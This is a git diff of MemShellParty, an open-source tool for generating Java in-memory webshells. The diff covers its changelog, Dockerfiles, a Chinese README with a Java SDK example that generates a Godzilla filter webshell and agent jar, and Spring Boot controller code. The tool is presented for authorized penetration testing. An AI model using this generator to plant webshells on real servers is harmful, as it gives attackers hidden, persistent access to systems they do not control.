- 简化 Jetty 获取 Context 代码
- 优化 Dockerfile 减小镜像体积
**Full Changelog:** [v1.5.0...v1.6.0](https://github.com/ReaJason/MemShellParty/compare/v1.5.0...v1.6.0)
## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01
### Added
- 支持 NeoreGeorg 内存马生成 by @ReaJason
- 支持 UI 显示更新按钮跳转到 GitHub Release 界面
### Changed
- 简化 Valve 内存马代码
- 升级 Gradle 8.13
**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
### Added
- 支持缩小字节码 (移除调试信息) by @ReaJason
- 支持 Tomcat Jakarta WebSocket
### Fixed
- 修复自定义注入器类名不起作用
### Changed
- 优化跨平台开发体验,将 bash 脚本改为 js 脚本
**Full Changelog:** [v1.3.2...v1.4.0](https://github.com/ReaJason/MemShellParty/compare/v1.3.2...v1.4.0)
## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25
### Fixed
- 修复 Tomcat WebSocket 注入报错,无法工作
### Changed
- 添加 foojay-toolchains 插件,支持 Dockerfile 构建时自动下载缺失的 JDK 版本
- 优化构建 Spring Boot 的 Dockerfile,最小权限原则
- 支持一键构建的 Dockerfile,适配需要 NGINX 反代的场景
- 代码重构支持一处注册所有 Server 的 Shell 配置
**Full Changelog:** [v1.3.1...v1.3.2](https://github.com/ReaJason/MemShellParty/compare/v1.3.1...v1.3.2)
## [v1.3.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.1) - 2025-02-20
### Added
- UI 中打包配置中添加 Loading 状态
### Fixed
- 修复 UI 在修改目标服务时,挂载类型有时未跟着变化导致生成失败
**Full Changelog:** [v1.3.0...v1.3.1](https://github.com/ReaJason/MemShellParty/compare/v1.3.0...v1.3.1)
## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.0) - 2025-02-20
### Added
- 支持 Hessian、Hessian2 反序列化,XSLT 链 (#36) by @ReaJason
### Changed
- 移除无用依赖,JavaSocketGson
- Gradle 升级至 8.12.1
- 更新 TestContainers 和 Junit 的版本
### Fixed
- 修复 UI 在仅修改打包方式重新生成时,多选 payload 下拉框置空,且 payload 没有变为最新的。
**Full Changelog:** [v1.2.1...v1.3.0](https://github.com/ReaJason/MemShellParty/compare/v1.2.1...v1.3.0)
## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19
### Changed
- UI 增强手机端响应式,增强 i18n 显示 (#39)
### Fixed
- 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功
**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
### Added
@@ -21,6 +167,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
- 修复随机类名如果为保留字时会无法加载
**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0)
## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
### Added
+65
View File
@@ -0,0 +1,65 @@
FROM buildpack-deps:bullseye-scm AS source
ARG VERSION="1.0.0"
ENV VERSION=${VERSION}
WORKDIR /usr/src
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun
FROM oven/bun:1.2.9 AS frontend
ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH=""
WORKDIR /usr/src/web
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/
RUN bun install --frozen-lockfile
COPY --from=source /usr/src/web /usr/src/web
RUN bun run build
# https://hub.docker.com/_/eclipse-temurin
FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend
ARG VERSION="1.0.0"
ENV VERSION=${VERSION}
WORKDIR /usr/src
COPY --from=source /usr/src /usr/src
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
RUN ./gradlew -Pversion=${VERSION} :boot:bootjar -x test
FROM eclipse-temurin:17.0.14_7-jre-noble
LABEL authors="ReaJason<[email protected]>"
WORKDIR /app
RUN groupadd -r spring && \
useradd -r -g spring spring
COPY --from=backend --chown=spring:spring /usr/src/boot/build/libs/*.jar app.jar
USER spring:spring
ENV INTERNAL_JAVA_OPTS="\
-Djava.security.egd=file:/dev/./urandom -Dfastison.parser.safeMode=true \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
EXPOSE 8080
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]
+231 -40
View File
@@ -1,11 +1,24 @@
# MemShellParty
<h1 align="center">MemShellParty</h1>
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
<div align="center">
[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
</div>
<div align="center">
[![release](https://img.shields.io/github/v/release/reajason/memshellparty?label=Release&style=flat-square)](https://github.com/ReaJason/MemShellParty/releases)
[![MavenCentral](https://img.shields.io/maven-central/v/io.github.reajason/generator?label=MavenCentral&style=flat-square)](https://central.sonatype.com/artifact/io.github.reajason/generator)
[![docker-pulls](https://img.shields.io/docker/pulls/reajason/memshell-party?label=DockerHub%20Pulls&style=flat-square)](https://hub.docker.com/r/reajason/memshell-party)
</div>
<div align="center">
[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news)
</div>
> [!WARNING]
> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
@@ -17,23 +30,9 @@
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台。
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
MemShellParty 出现的原因有以下几个:
1. 工作中有时候客户会有个别中间件的内存马测试需求,这个时候临时写一个太慢又太烦,在不忙的时候做一个工具,有需求就生成一个多好(之前用 [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
生成一个 WAS 的内存马不能用,调了半天修好了)。
2. 写 [Javassist](https://www.javassist.org/) 实在是太多了,字符串拼接的方式去弄方法 code
实在是看得眼睛疼,又不好维护,代码组织合理的话其实都可以,不过做项目我还是推荐 [Byte Buddy](https://bytebuddy.net/),高封装提供的
API 很好用的。单个利用脚本的话确实 [Javassist](https://www.javassist.org/) 来得快,而且很多中间件也自带依赖直接能打。
3. [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
的出现确实帮大忙了,但是其极少的交互逻辑对于一个应用来说是难以接受的,刚好学习了前端对 UX 也感兴趣(对 Desktop
应用无感),必须得整一个玩玩。
4. 因为对自动化测试特别感兴趣,刚好找到了 [Testcontainers](https://testcontainers.com/)
,并且看了一圈武器化工具基本都是无测试的,所以尝试写写可行的集成测试分享分享,被测试包裹的代码,修改起来信心也大,同时也希望这个项目能长久发展。
5. 特别多的师傅写了 Java 内存马相关的项目,不过都慢慢就不维护了(或者不公开代码了),我举手来整合一下,嘿嘿。
希望你能从这个项目学会或尝试做的:
1. 学会编写常见中间件框架的内存马编写方式
1. 学会编写常见中间件框架的内存马。
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
@@ -46,19 +45,22 @@ MemShellParty 出现的原因有以下几个:
## 主要特性
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
- 高可用性: 自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
- 最小化: 尽可能精简内存马大小,高效传输。
- 强兼容性: 覆盖攻防场景下常见中间件和框架。
- 高可用性自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
- 最小化尽可能精简内存马大小,高效传输。
- 强兼容性覆盖攻防场景下常见中间件和框架。
## 快速使用
### 在线站点
可直接访问 https://party.memshell.news (没做加速,搭建在 [Northflank](https://northflank.com/) US
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku)),每次 Release 都会自动部署最新的镜像。
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
可直接访问 [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
### 本地部署(推荐)
> 适合内网或本地快速部署,直接使用 Docker 启动服务方便快捷
使用 docker 部署之后访问 http://127.0.0.1:8080
```bash
@@ -78,10 +80,101 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju
# 移除之前部署的
docker rm -f memshell-party
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
```
### SDK 集成到现有工具中
> 适合集成到已有工具中,实现内存马 payload 的生成,支持 JDK8 以上版本,v1.7.0 开始支持
1. 添加依赖,Maven Or Gradle
```xml
<!-- Maven Repo-->
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId>
<version>1.7.0</version>
</dependency>
```
```groovy
// Gradle Repo
implementation 'io.github.reajason:generator:1.7.0'
```
2. 生成 Tomcat Godzilla Filter 内存马示例
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:"+result.getInjectorClassName());
System.out.println("内存马类名:"+result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
System.out.println("Base64 打包:"+Packers.Base64.getInstance().pack(result));
System.out.println("脚本引擎打包:"+Packers.ScriptEngine.getInstance().pack(result));
```
3. 生成 Tomcat Godzilla AgentFilterChain 示例
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
Files.write(Paths.get("agent.jar"), agentJarBytes);
```
4. 封装统一生成接口可参考 [GeneratorController.java](boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
## 适配情况
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
@@ -120,23 +213,23 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 7 | InforSuite AS 9 ~ 10 | Apusic AS 9 |
|----------------------|----------------------|------------------------|---------------|
| Filter | Filter | Filter | Servlet |
| Listener | Listener | Listener | Filter |
| Valve | Valve | Valve | Listener |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | |
| BES9.5.x | TongWeb6 ~ 7 | InforSuite AS 9 ~ 10 | Apusic AS 9 | Primeton6.5 |
|----------------------|----------------------|------------------------|---------------|----------------------|
| Filter | Filter | Filter | Servlet | Filter |
| Listener | Listener | Listener | Filter | Listener |
| Valve | Valve | Valve | Listener | Valve |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | | ContextValve - Agent |
### 内存马功能
- [x] Godzilla 哥斯拉
- [x] Behinder 冰蝎
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
- [x] 命令执行
- [x] Suo5
- [x] AntSword 蚁剑
- [ ] Neo-reGeorg
- [ ] Custom
- [x] [Suo5](https://github.com/zema1/suo5)
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
### 封装方式
@@ -149,17 +242,115 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
- [x] 内置脚本引擎、Rhino 脚本引擎
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] 原生反序列化(CB4
- [x] 原生反序列化(CB 和 CC 链
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化(XSLT链)
- [ ] JNDI
- [ ] JDBC 连接
- [ ] 其他常见反序列化
## How
## 本地构建
1. 如何使用 bytebuddy 生成类,为属性赋值,添加方法,指定位置调用方法?(**WIP**)
2. 如何调试内存马,为什么内存马注入了却不可用?(**WIP**)
### 源代码构建
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
1. 使用 Git Clone 项目
```bash
git clone https://github.com/ReaJason/MemShellParty.git
```
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
```bash
cd MemShellParty/web
bun install
bun run build
```
3. 构建后端项目,确保使用 JDK17 环境
```bash
cd MemShellParty/boot
./gradlew :boot:bootjar -x test
```
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
```bash
cd MemShellParty/boot
java -jar \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
build/libs/boot-1.0.0.jar
```
也可这基础上再继续构建容器来使用
```bash
cd MemShellParty/boot
docker buildx build -t memshell-party:latest . --load
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
```
### Dockerfile 一键构建
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44)
下载项目根目录的 [Dockerfile](./Dockerfile)
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
- ROUTE_ROOT_PATH: 前端根路由配置
- CONTEXT_PATH: 后端访问前缀
```bash
# 基础构建
docker buildx build \
--build-arg VERSION=1.6.0 \
-t memshell-party:latest . --load
# 基础镜像启动,访问 127.0.0.1:8080
docker run -it -d -p 8080:8080 memshell-party:latest
# 自定义访问路径构建
docker buildx build \
--build-arg VERSION=1.6.0 \
--build-arg ROUTE_ROOT_PATH=/memshell-party \
--build-arg CONTEXT_PATH=/memshell-party \
-t memshell-party:latest . --load
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
docker run -it -p 8080:8080 \
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
memshell-party:latest
```
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
其中 `location /memshell-party``ROUTE_ROOT_PATH=/memshell-party``CONTEXT_PATH=/memshell-party`
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
```text
location /memshell-party {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-By $server_addr:$server_port;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_http_version 1.1;
proxy_connect_timeout 3s;
proxy_read_timeout 300s;
proxy_send_timeout 300s;
proxy_buffer_size 16k;
proxy_buffers 8 64k;
proxy_busy_buffers_size 128k;
}
```
## Contribute
@@ -177,4 +368,4 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
### Let's start the party 🎉
### Let's start the party 🎉
Binary file not shown.

Before

Width:  |  Height:  |  Size: 128 KiB

After

Width:  |  Height:  |  Size: 130 KiB

+9
View File
@@ -0,0 +1,9 @@
FROM python:3.12-slim
WORKDIR /app
RUN pip install requests
COPY neoreg.py .
CMD ["tail", "-f", "/dev/null"]
File diff suppressed because it is too large Load Diff
Binary file not shown.

Before

Width:  |  Height:  |  Size: 258 KiB

After

Width:  |  Height:  |  Size: 242 KiB

-37
View File
@@ -1,37 +0,0 @@
plugins {
id 'java-platform'
}
dependencies {
constraints {
api 'net.bytebuddy:byte-buddy:1.+'
api 'javax.servlet:javax.servlet-api:3.0.1'
api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
api 'javax.websocket:javax.websocket-api:1.1'
api 'org.springframework:spring-webmvc:5.3.24'
api 'org.springframework:spring-webflux:5.3.24'
api 'io.projectreactor.netty:reactor-netty-core:1.1.25'
api 'commons-io:commons-io:2.+'
api 'org.apache.commons:commons-lang3:3.+'
api 'commons-codec:commons-codec:1.+'
api 'ch.qos.logback:logback-classic:1.+'
api 'xalan:xalan:2.7.0'
api 'org.apache.bcel:bcel:5.2'
api 'org.java-websocket:Java-WebSocket:1.5.7'
api 'com.squareup.okhttp3:okhttp:4.+'
api 'com.alibaba.fastjson2:fastjson2:2.0.53'
api 'org.jetbrains:annotations:26.0.1'
api "org.mockito:mockito-core:5.+"
api 'org.hamcrest:hamcrest:3.0'
api 'org.junit:junit-bom:5.10.0'
api 'org.testcontainers:testcontainers:1.20.4'
api 'org.testcontainers:junit-jupiter:1.20.4'
}
}
+2
View File
@@ -4,6 +4,8 @@ build/
!gradle/wrapper/gradle-wrapper.jar
!**/src/main/**/build/
!**/src/test/**/build/
src/main/resources/static/
src/main/resources/templates/
### STS ###
.apt_generated
+14 -9
View File
@@ -1,17 +1,22 @@
FROM eclipse-temurin:17-jre
ARG VERSION=1.0.0
ENV VERSION=$VERSION
FROM eclipse-temurin:17.0.14_7-jre-noble
LABEL authors="ReaJason<[email protected]>"
WORKDIR /app
COPY build/libs/boot-${VERSION}.jar app.jar
ENV JAVA_OPTS="" \
INTER_JAVA_OPTS="--add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
RUN groupadd -r spring && \
useradd -r -g spring spring
COPY --chown=spring:spring build/libs/*.jar app.jar
USER spring:spring
ENV INTERNAL_JAVA_OPTS="\
-Djava.security.egd=file:/dev/./urandom -Dfastison.parser.safeMode=true \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
EXPOSE 8080
ENTRYPOINT java $JAVA_OPTS $INTER_JAVA_OPTS -jar app.jar
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]
+2 -10
View File
@@ -21,13 +21,6 @@ def runtimeJvmArgs = [
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
tasks.withType(JavaCompile).configureEach {
options.compilerArgs += [
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
}
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
@@ -51,13 +44,12 @@ dependencies {
implementation(project(":deserialize")) {
exclude group: 'commons-logging', module: 'commons-logging'
}
implementation 'org.apache.bcel:bcel'
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
implementation('org.springframework.boot:spring-boot-starter-web') {
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
}
implementation 'org.apache.commons:commons-lang3:3.+'
implementation 'org.springframework.boot:spring-boot-starter-undertow'
implementation 'com.google.code.gson:gson:2.11.0'
compileOnly 'org.projectlombok:lombok'
developmentOnly 'org.springframework.boot:spring-boot-devtools'
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
@@ -66,6 +58,6 @@ dependencies {
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
}
tasks.named('test') {
test {
useJUnitPlatform()
}
@@ -1,17 +1,23 @@
package com.reajason.javaweb.boot;
import com.reajason.javaweb.memshell.Server;
import lombok.extern.slf4j.Slf4j;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import java.util.Arrays;
/**
* @author ReaJason
*/
@SpringBootApplication
@Slf4j
public class BootApplication {
public static void main(String[] args) {
SpringApplication.run(BootApplication.class, args);
Server[] values = Server.values();
log.info("Supported servers: {}", Arrays.toString(values));
log.info("For another server, you can open a issue in GitHub, https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md");
}
}
@@ -0,0 +1,21 @@
package com.reajason.javaweb.boot.config;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.http.client.SimpleClientHttpRequestFactory;
import org.springframework.web.client.RestTemplate;
/**
* @author ReaJason
*/
@Configuration
public class WebConfig {
@Bean
public RestTemplate restTemplate() {
SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
factory.setConnectTimeout(3000);
factory.setReadTimeout(3000);
return new RestTemplate(factory);
}
}
@@ -1,17 +1,16 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.entity.Config;
import com.reajason.javaweb.memshell.AbstractShell;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import org.springframework.http.ResponseEntity;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractShell;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.*;
import java.util.stream.Collectors;
/**
* @author ReaJason
@@ -21,18 +20,37 @@ import java.util.stream.Collectors;
@RequestMapping("/config")
@CrossOrigin("*")
public class ConfigController {
@RequestMapping("/servers")
public Map<String, List<String>> getServers() {
Map<String, List<String>> servers = new LinkedHashMap<>();
for (Server server : Server.values()) {
if (server.getShell() != null) {
Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes();
servers.put(server.name(), supportedShellTypes.stream().toList());
}
}
return servers;
}
@RequestMapping("/packers")
public List<String> getPackers() {
return Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null)
.map(Packers::name).toList();
}
@RequestMapping
public ResponseEntity<?> config() {
public Map<String, Map<?, ?>> config() {
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
for (Server value : Server.values()) {
AbstractShell shell = value.getShell();
if (shell == null) {
continue;
}
ShellTool[] supportedShellTools = ShellTool.values();
Map<String, List<String>> map = new LinkedHashMap<>(16);
for (ShellTool shellTool : supportedShellTools) {
List<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
Map<String, Set<String>> map = new LinkedHashMap<>(16);
for (ShellTool shellTool : shell.getSupportedShellTools()) {
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
if (supportedShellTypes.isEmpty()) {
continue;
}
@@ -40,19 +58,11 @@ public class ConfigController {
}
coreMap.put(value.name(), map);
}
Config config = new Config();
config.setServers(
Arrays.stream(Server.values())
.filter(s -> s.getShell() != null)
.map(Server::name)
.collect(Collectors.toList())
);
config.setCore(coreMap);
config.setPackers(
Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null)
.map(Packers::name).toList()
);
return ResponseEntity.ok(config);
return coreMap;
}
@GetMapping("/command/encryptors")
public List<CommandConfig.Encryptor> getCommandEncryptors() {
return Arrays.stream(CommandConfig.Encryptor.values()).toList();
}
}
@@ -1,8 +1,8 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.boot.dto.GenerateRequest;
import com.reajason.javaweb.boot.dto.GenerateResponse;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
@@ -10,7 +10,6 @@ import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import java.util.Base64;
@@ -24,18 +23,18 @@ import java.util.Base64;
@CrossOrigin("*")
public class GeneratorController {
@PostMapping
public ResponseEntity<?> generate(@RequestBody GenerateRequest request) {
public GenerateResponse generate(@RequestBody GenerateRequest request) {
ShellConfig shellConfig = request.getShellConfig();
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
InjectorConfig injectorConfig = request.getInjectorConfig();
GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
Packer packer = request.getPacker().getInstance();
if (packer instanceof JarPacker) {
return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))));
return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult)));
} else if (packer instanceof AggregatePacker) {
return ResponseEntity.ok(new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult)));
return new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult));
} else {
return ResponseEntity.ok(new GenerateResponse(generateResult, packer.pack(generateResult)));
return new GenerateResponse(generateResult, packer.pack(generateResult));
}
}
}
@@ -1,10 +1,20 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.entity.VersionInfo;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.core.ParameterizedTypeReference;
import org.springframework.http.HttpMethod;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.client.RestTemplate;
import org.thymeleaf.util.StringUtils;
import java.util.List;
import java.util.Map;
/**
* @author ReaJason
@@ -16,10 +26,66 @@ import org.springframework.web.bind.annotation.RestController;
public class VersionController {
@Value("${spring.application.version}")
String version;
private String version;
private final RestTemplate restTemplate;
public VersionController(RestTemplate restTemplate) {
this.restTemplate = restTemplate;
}
@GetMapping
public String version() {
public VersionInfo version() {
if (version.endsWith("-SNAPSHOT")) {
return VersionInfo.builder()
.currentVersion(version)
.latestVersion(version).build();
}
String latestVersion = getLatestGithubRelease();
return VersionInfo.builder()
.currentVersion(version)
.latestVersion(latestVersion)
.hasUpdate(!StringUtils.equals(version, latestVersion))
.build();
}
